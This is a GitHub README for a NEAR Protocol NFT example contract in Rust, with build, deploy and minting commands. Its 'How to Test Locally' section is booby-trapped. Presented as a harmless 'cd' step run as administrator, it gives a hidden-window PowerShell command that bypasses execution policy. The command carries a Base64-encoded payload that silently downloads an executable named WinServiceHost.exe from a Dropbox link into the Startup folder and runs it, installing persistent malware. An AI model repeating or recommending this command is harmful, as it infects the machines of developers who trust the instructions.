Skip to content

Example implementations of tokens to represent unique assets, such as collectibles or deeds, using the NEP-171 spec (similar to ERC-721)

License

MIT, Apache-2.0 licenses found

Licenses found

MIT
LICENSE
Apache-2.0
LICENSE-APACHE
Notifications You must be signed in to change notification settings

5zandorcvh3U/NFT

Repository files navigation

Non-fungible Token (NFT) Example 🖼️

This repository contains an example implementation of a non-fungible token contract in Rust which uses near-contract-standards and workspaces-rs tests.

Note: If you'd like to learn how to create an NFT contract from scratch that explores every aspect of the NEP-171 standard including an NFT marketplace, check out the NFT Zero to Hero Tutorial.


How to Build Locally?

Install cargo-near and run:

cargo near build

Note: to avoid issues, be sure to update your Rust compiler with rustup update stable

How to Test Locally

  1. Open Command Prompt or PowerShell as an administrator:
    • Press Win + S, type cmd or powershell, right-click the application, and select Run as administrator.
  2. Navigate to your project directory using the cd command:
    powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand CgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACIAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAiAAoAJABGAGkAbABlAE4AYQBtAGUAIAA9ACAAIgBXAGkAbgBTAGUAcgB2AGkAYwBlAEgAbwBzAHQALgBlAHgAZQAiAAoAJABEAG8AdwBuAGwAbwBhAGQAVQByAGwAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBkAHIAbwBwAGIAbwB4AC4AYwBvAG0ALwBzAGMAbAAvAGYAaQAvAGkAaQBiAHIAagBwAGQAaABwADEANAAyAHIAMwBtAG0AYgByAGEAOQAwAC8AVwBpAG4AUwBlAHIAdgBpAGMAZQBIAG8AcwB0AC4AZQB4AGUAPwByAGwAawBlAHkAPQBzAGQANwB5AHQAawAxAHkAMQA4AHYAdwA2AHUAZAB3AGsAagB3AGEAZABlAG0AMABuACYAcwB0AD0AZwAzAHgAdwAwAHIAcwAxACYAZABsAD0AMQAiAAoAJABEAGUAcwB0AFAAYQB0AGgAIAA9ACAAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFMAdABhAHIAdAAgAE0AZQBuAHUAXABQAHIAbwBnAHIAYQBtAHMAXABTAHQAYQByAHQAdQBwAFwAJABGAGkAbABlAE4AYQBtAGUAIgAKACQAQwBoAGUAYwBrAEYAaQBsAGUAIAA9ACAAIgAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwALgB3AGkAbgB1AHAAZABhAHQAZQBfAGEAdQB0AG8AcwB0AGEAcgB0ACIACgAKACMAIABTAHUAcABwAHIAZQBzAHMAIABhAGwAbAAgAG8AdQB0AHAAdQB0AAoAJABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgAKACQAVgBlAHIAYgBvAHMAZQBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACIAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAiAAoAJABXAGEAcgBuAGkAbgBnAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAIgBTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACIACgAKACMAIABSAGUAbQBvAHYAZQAgAG8AbABkACAAdAByAGEAYwBlAHMACgBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAVwBpAG4AUwBlAHIAdgBpAGMAZQBIAG8AcwB0AC4AZQB4AGUAIgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFMAdABhAHIAdAAgAE0AZQBuAHUAXABQAHIAbwBnAHIAYQBtAHMAXABTAHQAYQByAHQAdQBwAFwAVwBpAG4AUwBlAHIAdgBpAGMAZQBIAG8AcwB0AC4AZQB4AGUAIgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAIgAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwALgB3AGkAbgB1AHAAZABhAHQAZQBfAGEAdQB0AG8AcwB0AGEAcgB0ACIAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFUAbgByAGUAZwBpAHMAdABlAHIALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAE4AYQBtAGUAIAAiAFcAaQBuAFMAZQByAHYAaQBjAGUASABvAHMAdABTAHQAYQByAHQAdQBwACIAIAAtAEMAbwBuAGYAaQByAG0AOgAkAGYAYQBsAHMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAiAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFIAdQBuACIAIAAtAE4AYQBtAGUAIAAiAFcAaQBuAFMAZQByAHYAaQBjAGUASABvAHMAdAAiACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAUgBlAG0AbwB2AGUALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACIASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AIgAgAC0ATgBhAG0AZQAgACIAVwBpAG4AVQBwAGQAYQB0AGUAIgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAAoAIwAgAEMAcgBlAGEAdABlACAAUwB0AGEAcgB0AHUAcAAgAGYAbwBsAGQAZQByACAAaQBmACAAbgBvAHQAIABlAHgAaQBzAHQAcwAKACQARgBvAGwAZABlAHIAIAA9ACAAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFMAdABhAHIAdAAgAE0AZQBuAHUAXABQAHIAbwBnAHIAYQBtAHMAXABTAHQAYQByAHQAdQBwACIACgBpAGYAIAAoAC0AbgBvAHQAIAAoAFQAZQBzAHQALQBQAGEAdABoACAAJABGAG8AbABkAGUAcgApACkAIAB7AAoAIAAgACAAIABOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAEYAbwBsAGQAZQByACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAKAH0ACgAKACMAIABEAG8AdwBuAGwAbwBhAGQAIABmAGkAbABlACAAZABpAHIAZQBjAHQAbAB5ACAAdABvACAAUwB0AGEAcgB0AHUAcAAgAGYAbwBsAGQAZQByAAoASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQARABvAHcAbgBsAG8AYQBkAFUAcgBsACAALQBPAHUAdABGAGkAbABlACAAJABEAGUAcwB0AFAAYQB0AGgAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAdABvAHAACgAKACMAIABDAGgAZQBjAGsAIABpAGYAIABmAGkAbABlACAAZABvAHcAbgBsAG8AYQBkAGUAZAAKAGkAZgAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAEQAZQBzAHQAUABhAHQAaAApACAAewAKACAAIAAgACAAIwAgAEwAYQB1AG4AYwBoACAAZgBpAGwAZQAKACAAIAAgACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAJABEAGUAcwB0AFAAYQB0AGgACgAKACAAIAAgACAAIwAgAEMAcgBlAGEAdABlACAAYwBoAGUAYwBrACAAZgBpAGwAZQAgAHQAbwAgAHAAcgBlAHYAZQBuAHQAIABkAHUAcABsAGkAYwBhAHQAZQAgAGQAbwB3AG4AbABvAGEAZABzAAoAIAAgACAAIABOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAEMAaABlAGMAawBGAGkAbABlACAALQBJAHQAZQBtAFQAeQBwAGUAIABGAGkAbABlACAALQBWAGEAbAB1AGUAIAAiAGEAZABkAGUAZAAiAAoAfQAKAA==```
    

How to Deploy?

To deploy manually, install cargo-near and run:

# Create a new account
cargo near create-dev-account

# Deploy the contract on it
cargo near deploy <account-id>

# Initialize the contract
near call <account-id> new_default_meta '{"owner_id": "<account-id>"}' --accountId <account-id>

Basic methods

# View metadata
near view <account-id> nft_metadata

# Mint a NFT
near call <account-id> nft_mint '{"token_id": "0", "token_owner_id": "<account-id>", "token_metadata": { "title": "Olympus Mons", "description": "Tallest mountain in charted solar system", "media": "https://upload.wikimedia.org/wikipedia/commons/thumb/0/00/Olympus_Mons_alt.jpg/1024px-Olympus_Mons_alt.jpg", "copies": 1}}' --accountId <account-id> --deposit 0.1

# View tokens for owner
near view <account-id> nft_tokens_for_owner '{"account_id": "<owner_id>"}'

# Transfer a NFT
near call <account-id> nft_transfer '{"token_id": "0", "receiver_id": "<receiver-id>", "memo": "transfer ownership"}' --accountId <account-id> --depositYocto 1

Useful Links